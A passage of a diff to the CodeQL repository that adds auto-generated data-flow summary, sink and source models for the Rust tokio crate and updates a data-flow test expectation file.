["repo:https://github.com/tokio-rs/tokio:tokio", "::deref_mut", "Argument[self].Field[crate::util::cacheline::CachePadded::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::util::cacheline::CachePadded::value]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::insert_idle", "Argument[self]", "ReturnValue.Field[crate::util::idle_notified_set::EntryInOneOfTheLists::set]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::len", "Argument[self].Field[crate::util::idle_notified_set::IdleNotifiedSet::length]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_notified", "Argument[self]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::util::idle_notified_set::EntryInOneOfTheLists::set]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_pop_notified", "Argument[self]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::util::idle_notified_set::EntryInOneOfTheLists::set]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drain_filter", "Argument[0]", "ReturnValue.Field[crate::util::linked_list::DrainFilter::filter]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drain_filter", "Argument[self].Field[crate::util::linked_list::LinkedList::head]", "ReturnValue.Field[crate::util::linked_list::DrainFilter::curr]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drain_filter", "Argument[self]", "ReturnValue.Field[crate::util::linked_list::DrainFilter::list]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::last", "Argument[self].Field[crate::util::linked_list::LinkedList::tail].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_back", "Argument[self].Field[crate::util::linked_list::LinkedList::tail].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_back", "Argument[self].Field[crate::util::linked_list::LinkedList::tail].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_front", "Argument[self].Field[crate::util::linked_list::LinkedList::head].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_front", "Argument[self].Field[crate::util::linked_list::LinkedList::head].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::expose_provenance", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_exposed_addr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_seed", "Argument[0].Field[crate::util::rand::RngSeed::r]", "ReturnValue.Field[crate::util::rand::FastRand::two]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_seed", "Argument[0].Field[crate::util::rand::RngSeed::s]", "ReturnValue.Field[crate::util::rand::FastRand::one]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::replace_seed", "Argument[0].Field[crate::util::rand::RngSeed::r]", "Argument[self].Field[crate::util::rand::FastRand::two]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::replace_seed", "Argument[0].Field[crate::util::rand::RngSeed::s]", "Argument[self].Field[crate::util::rand::FastRand::one]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::replace_seed", "Argument[self].Field[crate::util::rand::FastRand::one]", "ReturnValue.Field[crate::util::rand::RngSeed::s]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::replace_seed", "Argument[self].Field[crate::util::rand::FastRand::two]", "ReturnValue.Field[crate::util::rand::RngSeed::r]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::lock_shard", "Argument[self].Field[crate::util::sharded_list::ShardedList::added]", "ReturnValue.Field[crate::util::sharded_list::ShardGuard::added].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::lock_shard", "Argument[self].Field[crate::util::sharded_list::ShardedList::count]", "ReturnValue.Field[crate::util::sharded_list::ShardGuard::count].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::shard_size", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::util::sync_wrapper::SyncWrapper::value]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::util::sync_wrapper::SyncWrapper::value]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_lock", "Argument[self]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::util::try_lock::LockGuard::lock]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::util::wake::WakerRef::waker]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[crate::signal::unix::SignalKind(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[crate::runtime::scheduler::multi_thread::idle::State(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::join::join", "Argument[0]", "ReturnValue.Field[crate::io::join::Join::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::join::join", "Argument[1]", "ReturnValue.Field[crate::io::join::Join::writer]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::seek::seek", "Argument[0]", "ReturnValue.Field[crate::io::seek::Seek::seek]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::seek::seek", "Argument[1]", "ReturnValue.Field[crate::io::seek::Seek::pos].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::chain::chain", "Argument[0]", "ReturnValue.Field[crate::io::util::chain::Chain::first]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::chain::chain", "Argument[1]", "ReturnValue.Field[crate::io::util::chain::Chain::second]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::fill_buf::fill_buf", "Argument[0]", "ReturnValue.Field[crate::io::util::fill_buf::FillBuf::reader].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::flush::flush", "Argument[0]", "ReturnValue.Field[crate::io::util::flush::Flush::a]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::lines::lines", "Argument[0]", "ReturnValue.Field[crate::io::util::lines::Lines::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read::read", "Argument[0]", "ReturnValue.Field[crate::io::util::read::Read::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read::read", "Argument[1]", "ReturnValue.Field[crate::io::util::read::Read::buf]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_buf::read_buf", "Argument[0]", "ReturnValue.Field[crate::io::util::read_buf::ReadBuf::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_buf::read_buf", "Argument[1]", "ReturnValue.Field[crate::io::util::read_buf::ReadBuf::buf]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_exact::read_exact", "Argument[0]", "ReturnValue.Field[crate::io::util::read_exact::ReadExact::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_line::finish_string_read", "Argument[0].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_line::finish_string_read", "Argument[0].Field[crate::result::Result::Ok(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_line::finish_string_read", "Argument[1].Field[crate::result::Result::Ok(0)]", "Argument[3].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_line::read_line", "Argument[0]", "ReturnValue.Field[crate::io::util::read_line::ReadLine::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_line::read_line", "Argument[1]", "ReturnValue.Field[crate::io::util::read_line::ReadLine::output]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_line::read_line_internal", "Argument[4].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_to_end::read_to_end", "Argument[0]", "ReturnValue.Field[crate::io::util::read_to_end::ReadToEnd::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_to_end::read_to_end", "Argument[1]", "ReturnValue.Field[crate::io::util::read_to_end::ReadToEnd::buf].Field[crate::io::util::vec_with_initialized::VecWithInitialized::vec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_to_end::read_to_end_internal", "Argument[2].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_to_string::read_to_string", "Argument[0]", "ReturnValue.Field[crate::io::util::read_to_string::ReadToString::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_to_string::read_to_string", "Argument[1]", "ReturnValue.Field[crate::io::util::read_to_string::ReadToString::output]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_until::read_until", "Argument[0]", "ReturnValue.Field[crate::io::util::read_until::ReadUntil::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_until::read_until", "Argument[1]", "ReturnValue.Field[crate::io::util::read_until::ReadUntil::delimiter]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_until::read_until", "Argument[2]", "ReturnValue.Field[crate::io::util::read_until::ReadUntil::buf]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_until::read_until_internal", "Argument[4].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::repeat::repeat", "Argument[0]", "ReturnValue.Field[crate::io::util::repeat::Repeat::byte]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::shutdown::shutdown", "Argument[0]", "ReturnValue.Field[crate::io::util::shutdown::Shutdown::a]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::split::split", "Argument[0]", "ReturnValue.Field[crate::io::util::split::Split::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::split::split", "Argument[1]", "ReturnValue.Field[crate::io::util::split::Split::delim]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::take::take", "Argument[0]", "ReturnValue.Field[crate::io::util::take::Take::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::take::take", "Argument[1]", "ReturnValue.Field[crate::io::util::take::Take::limit_]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::write::write", "Argument[0]", "ReturnValue.Field[crate::io::util::write::Write::writer]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::write::write", "Argument[1]", "ReturnValue.Field[crate::io::util::write::Write::buf]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::write_all::write_all", "Argument[0]", "ReturnValue.Field[crate::io::util::write_all::WriteAll::writer]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::write_all::write_all", "Argument[1]", "ReturnValue.Field[crate::io::util::write_all::WriteAll::buf]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::write_all_buf::write_all_buf", "Argument[0]", "ReturnValue.Field[crate::io::util::write_all_buf::WriteAllBuf::writer]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::write_all_buf::write_all_buf", "Argument[1]", "ReturnValue.Field[crate::io::util::write_all_buf::WriteAllBuf::buf]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::write_buf::write_buf", "Argument[0]", "ReturnValue.Field[crate::io::util::write_buf::WriteBuf::writer]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::write_buf::write_buf", "Argument[1]", "ReturnValue.Field[crate::io::util::write_buf::WriteBuf::buf]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::write_vectored::write_vectored", "Argument[0]", "ReturnValue.Field[crate::io::util::write_vectored::WriteVectored::writer]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::write_vectored::write_vectored", "Argument[1]", "ReturnValue.Field[crate::io::util::write_vectored::WriteVectored::bufs]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::net::tcp::split::split", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::net::tcp::split_owned::reunite", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::tcp::split_owned::ReuniteError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::net::tcp::split_owned::reunite", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::tcp::split_owned::ReuniteError(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::net::unix::split::split", "Argument[0]", "ReturnValue.Field[0].Field[crate::net::unix::split::ReadHalf(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::net::unix::split::split", "Argument[0]", "ReturnValue.Field[1].Field[crate::net::unix::split::WriteHalf(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::net::unix::split_owned::reunite", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::unix::split_owned::ReuniteError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::net::unix::split_owned::reunite", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::unix::split_owned::ReuniteError(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::context::budget", "Argument[0].ReturnValue", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::context::current::with_current", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::context::runtime::enter_runtime", "Argument[2].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::context::runtime_mt::exit_runtime", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::context::runtime_mt::exit_runtime", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::context::with_scheduler", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::metrics::batch::duration_as_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::scheduler::block_in_place::block_in_place", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::scheduler::block_in_place::block_in_place", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::scheduler::multi_thread::worker::block_in_place", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::scheduler::multi_thread::worker::block_in_place", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::sync::mpsc::block::offset", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::sync::mpsc::block::start_index", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::task::blocking::block_in_place", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::task::blocking::block_in_place", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::task::coop::budget", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::task::coop::cooperative", "Argument[0]", "ReturnValue.Field[crate::task::coop::Coop::fut]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::task::coop::unconstrained::unconstrained", "Argument[0]", "ReturnValue.Field[crate::task::coop::unconstrained::Unconstrained::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::task::coop::with_unconstrained", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::time::interval::interval", "Argument[0]", "ReturnValue.Field[crate::time::interval::Interval::period]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::time::interval::interval_at", "Argument[1]", "ReturnValue.Field[crate::time::interval::Interval::period]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::time::sleep::sleep_until", "Argument[0]", "ReturnValue.Field[crate::time::sleep::Sleep::entry].Field[crate::runtime::time::entry::TimerEntry::deadline]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::bit::unpack", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::bit::unpack", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::bit::unpack", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::memchr::memchr", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::trace::blocking_task", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::trace::task", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::typeid::try_transmute", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio", "<&[u8] as crate::io::async_read::AsyncRead>::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::copy_to", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::put_slice", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unsync_load", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unsync_load", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unsync_load", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::shutdown", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::push", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_n", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::push", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::push_batch", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::push", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::push_batch", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::transition_to_terminal", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::remove", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::next_expiration", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::next_expiration", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drop", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::release", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drop", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::add_permits", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drop", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drop", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::add_permits", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drop", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::support::signal::send_signal", "Argument[0]", "log-injection", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::file_name", "ReturnValue", "file", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::path", "ReturnValue", "file", "df-generated"] diff --git a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected index 98a2634346e7..c407e097dc4f 100644 --- a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected +++ b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected @@ -870,6 +870,8 @@ storeStep | file://:0:0:0:0 | [summary] to write: Argument[0].Field[crate::option::Option::Some(0)] in lang:core::_::::zip_with | Some | file://:0:0:0:0 | [post] [summary param] 0 in lang:core::_::::zip_with | | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0].Reference in lang:alloc::_::::retain_mut | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0] in lang:alloc::_::::retain_mut | | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0].Reference in lang:core::_::::take_if | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0] in lang:core::_::::take_if | +| file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0].Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::default_tcp_http_server | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::default_tcp_http_server | +| file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0].Reference in repo:https://github.com/servo/rust-smallvec:smallvec::_::::retain | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0] in repo:https://github.com/servo/rust-smallvec:smallvec::_::::retain | | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[1].Reference in lang:core::_::crate::num::flt2dec::to_exact_exp_str | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[1] in lang:core::_::crate::num::flt2dec::to_exact_exp_str | | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[1].Reference in lang:core::_::crate::num::flt2dec::to_exact_fixed_str | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[1] in lang:core::_::crate::num::flt2dec::to_exact_fixed_str | | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:alloc::_::<_ as crate::borrow::ToOwned>::clone_into | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:alloc::_::<_ as crate::borrow::ToOwned>::clone_into | @@ -903,6 +905,8 @@ storeStep | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::crate::io::Read::read_exact | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::crate::io::Read::read_exact | | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::crate::io::Read::read_to_end | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::crate::io::Read::read_to_end | | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::crate::io::Read::read_to_string | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::crate::io::Read::read_to_string | +| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::arch::generic::memchr::count_byte_by_byte | &ref | file://:0:0:0:0 | [post] [summary param] 0 in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::arch::generic::memchr::count_byte_by_byte | +| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::arch::generic::memchr::fwd_byte_by_byte | &ref | file://:0:0:0:0 | [post] [summary param] 0 in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::arch::generic::memchr::fwd_byte_by_byte | | file://:0:0:0:0 | [summary] to write: Argument[0].Reference.Reference in lang:proc_macro::_::<&[u8] as crate::bridge::rpc::DecodeMut>::decode | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:proc_macro::_::<&[u8] as crate::bridge::rpc::DecodeMut>::decode | | file://:0:0:0:0 | [summary] to write: Argument[0].Reference.Reference in lang:proc_macro::_::::decode | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:proc_macro::_::::decode | | file://:0:0:0:0 | [summary] to write: Argument[0].Reference.Reference in lang:proc_macro::_::::decode | &ref | file://:0:0:0:0 